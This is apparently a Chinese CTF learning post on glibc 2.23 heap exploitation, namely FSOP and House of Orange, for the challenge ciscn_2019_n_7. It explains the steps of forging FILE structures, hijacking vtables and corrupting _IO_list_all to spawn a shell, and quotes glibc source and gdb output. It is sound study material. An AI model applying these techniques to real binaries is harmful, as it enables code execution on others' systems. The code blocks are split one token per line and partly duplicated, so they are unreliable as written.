-
-
[原创]Pwn堆利用学习 —— FSOP、House of Orange —— ciscn_2019_n_7、House_of_Orange
-
发表于: 2022-10-3 00:14 19745
-
[原创]Pwn堆利用学习 —— FSOP、House of Orange —— ciscn_2019_n_7、House_of_Orange
在线看glibc源码:https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/
如果没有特别说明,下面涉及的源码和例子均是基于2.23版本。
强烈推荐阅读下面几篇文章:
fwrite:
fclose:
对 IO_FILE
相关几个关键函数的分析可见上面列出的文章。我在此做一点可能是对做题无关紧要的补充及疑问:
前面分析了JUMP_FIELD
,知道结构体_IO_jump_t
中都是函数指针,但是这些函数指针在哪里被赋值去和它们对应的函数实现绑定的?是在做什么初始化的时候?
在分析fread函数的时候,走到 fread -> _IO_sgetn -> _IO_XSGETN
的时候,应该是因为这对做题可能关系不大,我看文章都没有分析宏 _IO_XSGETN
。
gdb调试走到调用宏_IO_XSGETN
的地方:
最后,总结一下上面提到的《IO FILE之fxxxx详解》四篇文章:
IO FILE结构体包括两个堆结构,一个是保存IO FILE结构体的堆,一个是输入输出缓冲区的堆。
通过_IO_FILE *_chain
实现链表结构,头部是全局变量_IO_list_all
如果能够控制_IO_FILE_plus
结构体,实现对vtable指针的修改,使得vtable指向可控的内存,在该内存中构造好vtable,再通过调用相应IO函数,触发vtable函数的调用,即可劫持程序执行流。
劫持最关键的点在于修改IO FILE结构体的vtable指针,指向可控内存。一般来说有两种方式:一种是只修改内存中已有FILE结构体的vtable字段;另一种则是伪造整个FILE结构体。当然,两种的本质最终都是修改了vtable字段。
例子可参考:
FSOP(File Stream Oriented Programming)的核心思想就是劫持_IO_list_all
的值来伪造链表和其中的_IO_FILE
项,但是单纯的伪造只是构造了数据,还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp
,这个函数会刷新_IO_list_all
链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable
中的_IO_overflow
。
_IO_flush_all_lockp
被系统调用的时机
当 libc 执行 abort 流程时
当执行 exit 函数时
当执行流从 main 函数返回时
_IO_flush_all_lockp
中调用_IO_OVERFLOW
的条件,根据短路原理可知需满足:
fsop攻击思路:
exit_ 函数关闭 stdout、stderr 后执行 exit() ,exit() 时系统会调用 _IO_flush_all_lockp
;或者随意输入一个不在菜单上的选项,让程序走main函数的return 0
,也会调用_IO_flush_all_lockp
(我用后一种思路成功了,前一种未找到原因,就是不成功)。
修改article指针到 _IO_2_1_stderr_
,布置绕过需要的数据;在适当位置写入 system ,将 vtable 劫持到这个空间上,完成劫持 _IO_flush_all_lockp
为 system 。
因为 vtable 中的函数调用时会把对应的 _IO_FILE_plus
指针作为第一个参数传递,因此这里我们把 "sh" 写入 _IO_FILE_plus
头部。
调试查看结构体:
< 2.26
原理为:堆溢出
+ size(top chunk)<size(request)
+ unsorted bin attack
+ fsop
house of orange攻击的主要思路是利用unsorted bin attack
修改_IO_list_all
指针,并伪造_IO_FILE_plus
结构体及其vtable
(虚函数表)来劫持控制流。
利用过程
通过堆溢出漏洞把top chunk的size改小
通过申请一个比溢出修改后top chunk的size更大的chunk,使得top chunk进入unsorted bin,泄露出libc基址
通过unsorted bin attack
将_IO_list_all
内容从_IO_2_1_stderr_
改为main_arena+88/96
(实则指向top chunk
)
在old_top_chunk
伪造_IO_FILE_plus结构体及其vtable(虚表)来劫持控制流
在_IO_FILE_plus
结构体中,_chain
的偏移为0x68
,而top chunk
之后为0x8
单位的last_remainder
,接下来为unsorted bin
的fd
与bk
指针,共0x10
大小,再之后为small bin
中的指针(每个small bin
有fd
与bk
指针,共0x10
个单位),剩下0x50
的单位,从smallbin[0]
正好分配到smallbin[4]
(准确说为其fd
字段),大小就是从0x20
到0x60
,而smallbin[4]
的fd
字段中的内容为该链表中最靠近表头的small bin
的地址 (chunk header
),因此0x60
的small bin
的地址即为fake struct
的_chain
中的内容,只需要控制该0x60
的small bin
(以及其下面某些堆块)中的部分内容,即可进行FSOP
。
1.分配一个chunk
2.溢出修改top chunk的size
3.malloc一个更大的chunk时,将top chunk释放到unsortedbin中
heap的变化如下所示:
4.泄露出_IO_list_all的地址
回顾unsortedbin attack,从unsorted bin中取出chunk时,会执行以下代码:
所以,如果将victim的bk改写为某个地址,则可以向这个地址+0x10(即为bck->fd)的地方写入unsortedbin的地址(&main_arena+88)
5.为unsortedbin attack作准备,将old top chunk的bk指针为 io_list_all - 0x10
回顾fsop:
_IO_flush_all_lockp
中调用_IO_OVERFLOW
的条件,根据短路原理可知需满足:
FSOP攻击条件
6.为fsop作准备
前面unsortedbin attack可将_IO_list_all
指针的值修改为main_arena+88
。但这还不够,因为我们很难控制main_arena中的数据,并不能在mode、_IO_write_ptr
和_IO_write_base
的对应偏移处构造出合适的值。
所以将目光转向_IO_FILE
的链表特性。_IO_flush_all_lockp
函数会通过fp = fp->_chain
不断的寻找下一个_IO_FILE
。
所以如果可以修改fp->_chain
到一个我们伪造好的_IO_FILE
的地址,那么就可以成功实现利用了。
巧妙的是,_IO_FILE
结构中的_chain
字段对应偏移是0x68,而在main_arena+88
对应偏移为0x68的地址正好是大小为0x60的small bin的bk,而由于我们能通过溢出漏洞改old top chunk的size,所以在将其链入smallbin[0x60]之后,就可以实现如下图所示的攻击链。
7.unsortedbin attack实施
8.查看修改top[1] = 0x61;
的结果:unsortedbin所在地址 + 0x68
(smallbin[0x60]->bk
)变成&old_top_chunk
前面通过溢出
将位于unsorted bin中的chunk(old top chunk的部分)的size修改为0x61。那么在这一次malloc的时候,因为在其他bin中都没有合适的chunk,malloc进入大循环,把unsorted bin中的chunk插入到对应的small bin或large bin中。第7步是将old_top_chunk从unsortedbin脱下来,接下来就是将其插入0x60大小的smallbin中了。同时,该small bin的fd和bk都会变为此chunk的地址。
大循环里将从unsortedbin脱下来的chunk插入smallbin的代码如下:
接着步骤7,单步调试,走到mark_bin (av, victim_index);
:
继续单步调试,走完bck->fd = victim;
此时,IO_list_all
、IO_FILE(main_arena+88)
、IO_FILE(old_top_chunk)
三者已经链接起来了,接下来就只需要触发_IO_flush_all_lockp
-> __overflow
就可以了。
9.触发_IO_flush_all_lockp
for循环结束一次,接着进行第二次循环。由于unsortedbin attack的时候破坏了unsorted bin的链表结构,所以接下来的分配过程会出现错误,系统调用malloc_printerr去打印错误信息,从而被劫持流程,执行到winner,然后由winner执行system函数:
调试:
victim
的size为0,不满足要求,触发异常,调用malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av);
, 从而调用_IO_flush_all_lockp,进而fsop攻击成功。
1.溢出修改top chunk的size
2.malloc一个更大的name chunk时,将top chunk释放到unsortedbin中
总结一下此时heap的变化:
3.再build一个house,泄露出_IO_list_all
的地址:
当分配name3的时候,若申请的大小为largebin范围,由于old top chunk属于largebin范围,所以会先将其插入到largebin中,如下代码所示:
由上面的分析可知,当要分配的chunk属于smallbin大小范围(包括fastbin和smallbin)的时候,走完if (in_smallbin_range (nb) &&...
这个判断的时候,就会切割old top chunk并返回给用户,name3不会有指向自身fd_nextsize/bk_nextsize
。所以需要name3申请的大小为largebin大小。
当分配name3的时候,单步调试上面代码,走到bck->fd = victim;
的时候看一下各变量的值:
再总结一下此时heap的变化:
由于fd_nextsize保留下来了,所以利用upgrade输入0x10个字符,并调用see,也就可以泄露出name3的地址,从而计算heap的地址。为后面修改vtable作准备。
typedef struct _IO_FILE
FILE
;
/
/
IO_FILE结构体
struct _IO_FILE {
int
_flags;
/
*
High
-
order word
is
_IO_MAGIC; rest
is
flags.
*
/
#define _IO_file_flags _flags
/
*
The following pointers correspond to the C
+
+
streambuf protocol.
*
/
/
*
Note: Tk uses the _IO_read_ptr
and
_IO_read_end fields directly.
*
/
char
*
_IO_read_ptr;
/
*
Current read pointer
*
/
char
*
_IO_read_end;
/
*
End of get area.
*
/
char
*
_IO_read_base;
/
*
Start of putback
+
get area.
*
/
char
*
_IO_write_base;
/
*
Start of put area.
*
/
char
*
_IO_write_ptr;
/
*
Current put pointer.
*
/
char
*
_IO_write_end;
/
*
End of put area.
*
/
char
*
_IO_buf_base;
/
*
Start of reserve area.
*
/
char
*
_IO_buf_end;
/
*
End of reserve area.
*
/
/
*
The following fields are used to support backing up
and
undo.
*
/
char
*
_IO_save_base;
/
*
Pointer to start of non
-
current get area.
*
/
char
*
_IO_backup_base;
/
*
Pointer to first valid character of backup area
*
/
char
*
_IO_save_end;
/
*
Pointer to end of non
-
current get area.
*
/
struct _IO_marker
*
_markers;
struct _IO_FILE
*
_chain;
int
_fileno;
#if 0
int
_blksize;
#else
int
_flags2;
#endif
_IO_off_t _old_offset;
/
*
This used to be _offset but it's too small.
*
/
#define __HAVE_COLUMN /* temporary */
/
*
1
+
column number of pbase();
0
is
unknown.
*
/
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[
1
];
/
*
char
*
_save_gptr; char
*
_save_egptr;
*
/
_IO_lock_t
*
_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
/
/
IO_FILE_complete结构体,在_IO_FILE后面加了一些字段
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/
*
Wide character stream stuff.
*
/
struct _IO_codecvt
*
_codecvt;
struct _IO_wide_data
*
_wide_data;
struct _IO_FILE
*
_freeres_list;
void
*
_freeres_buf;
# else
void
*
__pad1;
void
*
__pad2;
void
*
__pad3;
void
*
__pad4;
# endif
size_t __pad5;
int
_mode;
/
*
Make sure we don't get into trouble again.
*
/
char _unused2[
15
*
sizeof (
int
)
-
4
*
sizeof (void
*
)
-
sizeof (size_t)];
#endif
};
/
/
stdin、stdout……
extern struct _IO_FILE_plus _IO_2_1_stdin_;
FILE
*
stdin
=
(
FILE
*
) &_IO_2_1_stdin_;
/
/
虽然stdin的类型是
FILE
*
,但实际类型却是 _IO_2_1_stdin_ 的类型,即 _IO_FILE_plus
FILE
*
stdout
=
(
FILE
*
) &_IO_2_1_stdout_;
/
/
...
/
/
_IO_FILE_plus结构体
struct _IO_FILE_plus
{
FILE
file
;
const struct _IO_jump_t
*
vtable;
};
/
/
_IO_jump_t结构体(虚函数表)
/
/
路径:
/
libio
/
libioP.h
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/
*
showmany
*
/
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
/
/
JUMP_FIELD宏
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
/
*
*
以 JUMP_FIELD(_IO_xsgetn_t, __xsgetn); 为例继续跟下去看看
TYPE
:
_IO_xsgetn_t
typedef _IO_size_t (
*
_IO_xsgetn_t) (_IO_FILE
*
FP, void
*
DATA, _IO_size_t N);
/
/
定义了一个函数指针
:NAME
__xsgetn
因此, JUMP_FIELD(_IO_xsgetn_t, __xsgetn)
<
=
=
> _IO_xsgetn_t __xsgetn
/
/
即给函数指针取别名 __xsgetn
*
*
/
typedef struct _IO_FILE
FILE
;
/
/
IO_FILE结构体
struct _IO_FILE {
int
_flags;
/
*
High
-
order word
is
_IO_MAGIC; rest
is
flags.
*
/
#define _IO_file_flags _flags
/
*
The following pointers correspond to the C
+
+
streambuf protocol.
*
/
/
*
Note: Tk uses the _IO_read_ptr
and
_IO_read_end fields directly.
*
/
char
*
_IO_read_ptr;
/
*
Current read pointer
*
/
char
*
_IO_read_end;
/
*
End of get area.
*
/
char
*
_IO_read_base;
/
*
Start of putback
+
get area.
*
/
char
*
_IO_write_base;
/
*
Start of put area.
*
/
char
*
_IO_write_ptr;
/
*
Current put pointer.
*
/
char
*
_IO_write_end;
/
*
End of put area.
*
/
char
*
_IO_buf_base;
/
*
Start of reserve area.
*
/
char
*
_IO_buf_end;
/
*
End of reserve area.
*
/
/
*
The following fields are used to support backing up
and
undo.
*
/
char
*
_IO_save_base;
/
*
Pointer to start of non
-
current get area.
*
/
char
*
_IO_backup_base;
/
*
Pointer to first valid character of backup area
*
/
char
*
_IO_save_end;
/
*
Pointer to end of non
-
current get area.
*
/
struct _IO_marker
*
_markers;
struct _IO_FILE
*
_chain;
int
_fileno;
#if 0
int
_blksize;
#else
int
_flags2;
#endif
_IO_off_t _old_offset;
/
*
This used to be _offset but it's too small.
*
/
#define __HAVE_COLUMN /* temporary */
/
*
1
+
column number of pbase();
0
is
unknown.
*
/
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[
1
];
/
*
char
*
_save_gptr; char
*
_save_egptr;
*
/
_IO_lock_t
*
_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
/
/
IO_FILE_complete结构体,在_IO_FILE后面加了一些字段
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/
*
Wide character stream stuff.
*
/
struct _IO_codecvt
*
_codecvt;
struct _IO_wide_data
*
_wide_data;
struct _IO_FILE
*
_freeres_list;
void
*
_freeres_buf;
# else
void
*
__pad1;
void
*
__pad2;
void
*
__pad3;
void
*
__pad4;
# endif
size_t __pad5;
int
_mode;
/
*
Make sure we don't get into trouble again.
*
/
char _unused2[
15
*
sizeof (
int
)
-
4
*
sizeof (void
*
)
-
sizeof (size_t)];
#endif
};
/
/
stdin、stdout……
extern struct _IO_FILE_plus _IO_2_1_stdin_;
FILE
*
stdin
=
(
FILE
*
) &_IO_2_1_stdin_;
/
/
虽然stdin的类型是
FILE
*
,但实际类型却是 _IO_2_1_stdin_ 的类型,即 _IO_FILE_plus
FILE
*
stdout
=
(
FILE
*
) &_IO_2_1_stdout_;
/
/
...
/
/
_IO_FILE_plus结构体
struct _IO_FILE_plus
{
FILE
file
;
const struct _IO_jump_t
*
vtable;
};
/
/
_IO_jump_t结构体(虚函数表)
/
/
路径:
/
libio
/
libioP.h
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/
*
showmany
*
/
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
/
/
JUMP_FIELD宏
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
/
*
*
以 JUMP_FIELD(_IO_xsgetn_t, __xsgetn); 为例继续跟下去看看
TYPE
:
_IO_xsgetn_t
typedef _IO_size_t (
*
_IO_xsgetn_t) (_IO_FILE
*
FP, void
*
DATA, _IO_size_t N);
/
/
定义了一个函数指针
:NAME
__xsgetn
因此, JUMP_FIELD(_IO_xsgetn_t, __xsgetn)
<
=
=
> _IO_xsgetn_t __xsgetn
/
/
即给函数指针取别名 __xsgetn
*
*
/
0x7ffff7a88710
<_IO_sgetn> mov rax, qword ptr [rdi
+
0xd8
]
0x7ffff7a88717
<_IO_sgetn
+
7
> mov rax, qword ptr [rax
+
0x40
]
0x7ffff7a8871b
<_IO_sgetn
+
11
> jmp rax
↓
►
0x7ffff7a85ed0
<__GI__IO_file_xsgetn> push r14
0x7ffff7a85ed2
<__GI__IO_file_xsgetn
+
2
> push r13
0x7ffff7a85ed4
<__GI__IO_file_xsgetn
+
4
> mov r14, rsi
0x7ffff7a85ed7
<__GI__IO_file_xsgetn
+
7
> push r12
0x7ffff7a85ed9
<__GI__IO_file_xsgetn
+
9
> push rbp
0x7ffff7a85eda
<__GI__IO_file_xsgetn
+
10
> mov r13, rdx
0x7ffff7a85edd
<__GI__IO_file_xsgetn
+
13
> push rbx
0x7ffff7a85ede
<__GI__IO_file_xsgetn
+
14
>
cmp
qword ptr [rdi
+
0x38
],
0
──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────
In
file
:
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
libio
/
fileops.c
1355
}
1356
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
1357
1358
_IO_size_t
1359
_IO_file_xsgetn (_IO_FILE
*
fp, void
*
data, _IO_size_t n)
►
1360
{
1361
_IO_size_t want, have;
1362
_IO_ssize_t count;
1363
char
*
s
=
data;
1364
1365
want
=
n;
0x7ffff7a88710
<_IO_sgetn> mov rax, qword ptr [rdi
+
0xd8
]
0x7ffff7a88717
<_IO_sgetn
+
7
> mov rax, qword ptr [rax
+
0x40
]
0x7ffff7a8871b
<_IO_sgetn
+
11
> jmp rax
↓
►
0x7ffff7a85ed0
<__GI__IO_file_xsgetn> push r14
0x7ffff7a85ed2
<__GI__IO_file_xsgetn
+
2
> push r13
0x7ffff7a85ed4
<__GI__IO_file_xsgetn
+
4
> mov r14, rsi
0x7ffff7a85ed7
<__GI__IO_file_xsgetn
+
7
> push r12
0x7ffff7a85ed9
<__GI__IO_file_xsgetn
+
9
> push rbp
0x7ffff7a85eda
<__GI__IO_file_xsgetn
+
10
> mov r13, rdx
0x7ffff7a85edd
<__GI__IO_file_xsgetn
+
13
> push rbx
0x7ffff7a85ede
<__GI__IO_file_xsgetn
+
14
>
cmp
qword ptr [rdi
+
0x38
],
0
──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────
In
file
:
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
libio
/
fileops.c
1355
}
1356
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
1357
1358
_IO_size_t
1359
_IO_file_xsgetn (_IO_FILE
*
fp, void
*
data, _IO_size_t n)
►
1360
{
1361
_IO_size_t want, have;
1362
_IO_ssize_t count;
1363
char
*
s
=
data;
1364
1365
want
=
n;
/
*
*
_IO_sgetn函数
fread
-
> _IO_sgetn
-
> _IO_XSGETN
路径:
/
libio
/
genops.c
*
*
/
_IO_size_t
_IO_sgetn (_IO_FILE
*
fp, void
*
data, _IO_size_t n)
{
/
*
FIXME handle putback
buffer
here!
*
/
return
_IO_XSGETN (fp, data, n);
/
/
/
/
/
/
/
/
/
/
call _IO_XSGETN
}
libc_hidden_def (_IO_sgetn)
/
*
*
宏 _IO_XSGETN
路径:
/
libio
/
libioP.h
*
*
/
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
/
*
*
宏 JUMPn:JUMPn 主要是跳转到 vtable 对应的字段获取动态函数地址,不同点主要在于参数个数
JUMP2
=
(_IO_JUMPS_FUNC(THIS)
-
>FUNC)
路径:
/
libio
/
libioP.h
*
*
/
#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2) ////////// call JUMP2
#define JUMP3(FUNC, THIS, X1,X2,X3) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)
/
*
*
宏 _IO_JUMPS_FUNC:根据 FD 找到到 vtable 地址
路径:
/
libio
/
libioP.h
分析:首先,可以看到最终返回的结构体指针的类型是 _IO_jump_t ,即vtable
然后,给_IO_JUMPS_FILE_plus传入FD,根据FD找到对应的 _IO_FILE_plus 结构体
最后返回:_IO_FILE_plus 结构体地址
+
vtable的偏移
*
*
/
# define _IO_JUMPS_FUNC(THIS) \
(
*
(struct _IO_jump_t
*
*
) ((void
*
) &_IO_JUMPS_FILE_plus (THIS) \
+
(THIS)
-
>_vtable_offset))
/
*
*
宏 _IO_JUMPS_FILE_plus:根据 FD 找到 _IO_FILE_plus 结构体地址
路径:
/
libio
/
libioP.h
*
*
/
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
/
/
这里可以明确是 _IO_FILE_plus 结构体
/
*
Essentially ((
TYPE
*
) THIS)
-
>MEMBER, but avoiding the aliasing
violation
in
case THIS has a different pointer
type
.
路径:
/
libio
/
libioP.h
*
/
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
(
*
(_IO_MEMBER_TYPE (
TYPE
, MEMBER)
*
)(((char
*
) (THIS)) \
+
offsetof(
TYPE
, MEMBER)))
/
*
Type
of MEMBER
in
struct
type
TYPE
.
路径:
/
libio
/
libioP.h
typeof关键字:https:
/
/
blog.csdn.net
/
u012066426
/
article
/
details
/
50788984
?spm
=
1001.2101
.
3001.6661
.
1
&utm_medium
=
distribute.pc_relevant_t0.none
-
task
-
blog
-
2
%
7Edefault
%
7ECTRLIST
%
7ERate
-
1
-
50788984
-
blog
-
86496346.pc_relevant_layerdownloadsortv1
&depth_1
-
utm_source
=
distribute.pc_relevant_t0.none
-
task
-
blog
-
2
%
7Edefault
%
7ECTRLIST
%
7ERate
-
1
-
50788984
-
blog
-
86496346.pc_relevant_layerdownloadsortv1
*
/
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
/
*
*
综上,不断展开宏 _IO_XSGETN 看一下:
_IO_XSGETN(FP, DATA, N)
<
=
=
> JUMP2 (__xsgetn, FP, DATA, N)
<
=
=
> (_IO_JUMPS_FUNC(FP)
-
>__xsgetn) (FP, DATA, N)
/
/
可以看出 _IO_JUMPS_FUNC(FP)就是要找到 FP 对应的 _IO_jump_t结构体指针
<
=
=
> ( (
*
(struct _IO_jump_t
*
*
) ((void
*
) &_IO_JUMPS_FILE_plus (FP)
+
(FP)
-
>_vtable_offset))
-
>__xsgetn) (FP, DATA, N)
/
/
下面可以看出找_IO_jump_t结构体指针是先找到 _IO_FILE_plus 结构体
<
=
=
> ( (
*
(struct _IO_jump_t
*
*
) ((void
*
) &(_IO_CAST_FIELD_ACCESS ((FP), struct _IO_FILE_plus, vtable))
+
(FP)
-
>_vtable_offset))
-
>__xsgetn) (FP, DATA, N)
<
=
=
> ( (
*
(struct _IO_jump_t
*
*
) ((void
*
) &( (
*
(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable)
*
)(((char
*
) (FP))
+
offsetof(struct _IO_FILE_plus, vtable))))
+
(FP)
-
>_vtable_offset))
-
>__xsgetn) (FP, DATA, N)
<
=
=
> ( (
*
(struct _IO_jump_t
*
*
) ((void
*
) &( (
*
(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable)
*
)(((char
*
) (FP))
+
offsetof(struct _IO_FILE_plus, vtable))))
+
(FP)
-
>_vtable_offset))
-
>__xsgetn) (FP, DATA, N)
*
*
/
/
*
*
_IO_sgetn函数
fread
-
> _IO_sgetn
-
> _IO_XSGETN
路径:
/
libio
/
genops.c
*
*
/
_IO_size_t
_IO_sgetn (_IO_FILE
*
fp, void
*
data, _IO_size_t n)
{
/
*
FIXME handle putback
buffer
here!
*
/
return
_IO_XSGETN (fp, data, n);
/
/
/
/
/
/
/
/
/
/
call _IO_XSGETN
}
libc_hidden_def (_IO_sgetn)
/
*
*
宏 _IO_XSGETN
路径:
/
libio
/
libioP.h
*
*
/
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
/
*
*
宏 JUMPn:JUMPn 主要是跳转到 vtable 对应的字段获取动态函数地址,不同点主要在于参数个数
JUMP2
=
(_IO_JUMPS_FUNC(THIS)
-
>FUNC)
路径:
/
libio
/
libioP.h
*
*
/
#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2) ////////// call JUMP2
#define JUMP3(FUNC, THIS, X1,X2,X3) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)
/
*
*
宏 _IO_JUMPS_FUNC:根据 FD 找到到 vtable 地址
路径:
/
libio
/
libioP.h
分析:首先,可以看到最终返回的结构体指针的类型是 _IO_jump_t ,即vtable
然后,给_IO_JUMPS_FILE_plus传入FD,根据FD找到对应的 _IO_FILE_plus 结构体
最后返回:_IO_FILE_plus 结构体地址
+
vtable的偏移
*
*
/
# define _IO_JUMPS_FUNC(THIS) \
(
*
(struct _IO_jump_t
*
*
) ((void
*
) &_IO_JUMPS_FILE_plus (THIS) \
+
(THIS)
-
>_vtable_offset))
/
*
*
宏 _IO_JUMPS_FILE_plus:根据 FD 找到 _IO_FILE_plus 结构体地址
路径:
/
libio
/
libioP.h
*
*
/
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
/
/
这里可以明确是 _IO_FILE_plus 结构体
/
*
Essentially ((
TYPE
*
) THIS)
-
>MEMBER, but avoiding the aliasing
violation
in
case THIS has a different pointer
type
.
路径:
/
libio
/
libioP.h
*
/
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
(
*
(_IO_MEMBER_TYPE (
TYPE
, MEMBER)
*
)(((char
*
) (THIS)) \
+
offsetof(
TYPE
, MEMBER)))
/
*
Type
of MEMBER
in
struct
type
TYPE
.
路径:
/
libio
/
libioP.h
typeof关键字:https:
/
/
blog.csdn.net
/
u012066426
/
article
/
details
/
50788984
?spm
=
1001.2101
.
3001.6661
.
1
&utm_medium
=
distribute.pc_relevant_t0.none
-
task
-
blog
-
2
%
7Edefault
%
7ECTRLIST
%
7ERate
-
1
-
50788984
-
blog
-
86496346.pc_relevant_layerdownloadsortv1
&depth_1
-
utm_source
=
distribute.pc_relevant_t0.none
-
task
-
blog
-
2
%
7Edefault
%
7ECTRLIST
%
7ERate
-
1
-
50788984
-
blog
-
86496346.pc_relevant_layerdownloadsortv1
*
/
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
/
*
*
综上,不断展开宏 _IO_XSGETN 看一下:
_IO_XSGETN(FP, DATA, N)
<
=
=
> JUMP2 (__xsgetn, FP, DATA, N)
<
=
=
> (_IO_JUMPS_FUNC(FP)
-
>__xsgetn) (FP, DATA, N)
/
/
可以看出 _IO_JUMPS_FUNC(FP)就是要找到 FP 对应的 _IO_jump_t结构体指针
<
=
=
> ( (
*
(struct _IO_jump_t
*
*
) ((void
*
) &_IO_JUMPS_FILE_plus (FP)
+
(FP)
-
>_vtable_offset))
-
>__xsgetn) (FP, DATA, N)
/
/
下面可以看出找_IO_jump_t结构体指针是先找到 _IO_FILE_plus 结构体
<
=
=
> ( (
*
(struct _IO_jump_t
*
*
) ((void
*
) &(_IO_CAST_FIELD_ACCESS ((FP), struct _IO_FILE_plus, vtable))
+
(FP)
-
>_vtable_offset))
-
>__xsgetn) (FP, DATA, N)
<
=
=
> ( (
*
(struct _IO_jump_t
*
*
) ((void
*
) &( (
*
(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable)
*
)(((char
*
) (FP))
+
offsetof(struct _IO_FILE_plus, vtable))))
+
(FP)
-
>_vtable_offset))
-
>__xsgetn) (FP, DATA, N)
<
=
=
> ( (
*
(struct _IO_jump_t
*
*
) ((void
*
) &( (
*
(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable)
*
)(((char
*
) (FP))
+
offsetof(struct _IO_FILE_plus, vtable))))
+
(FP)
-
>_vtable_offset))
-
>__xsgetn) (FP, DATA, N)
*
*
/
/
/
函数原型:
FILE
*
fopen(const char
*
filename, const char
*
mode);
/
/
调用链:
fopen(_IO_new_fopen)
-
> __fopen_internal
-
> malloc
/
/
分配内存空间
-
> _IO_no_init
/
/
对
FILE
结构体进行null初始化。
-
> _IO_file_init
/
/
将
FILE
结构体链接进入_IO_list_all链表
-
> _IO_file_fopen
/
/
执行系统调用
open
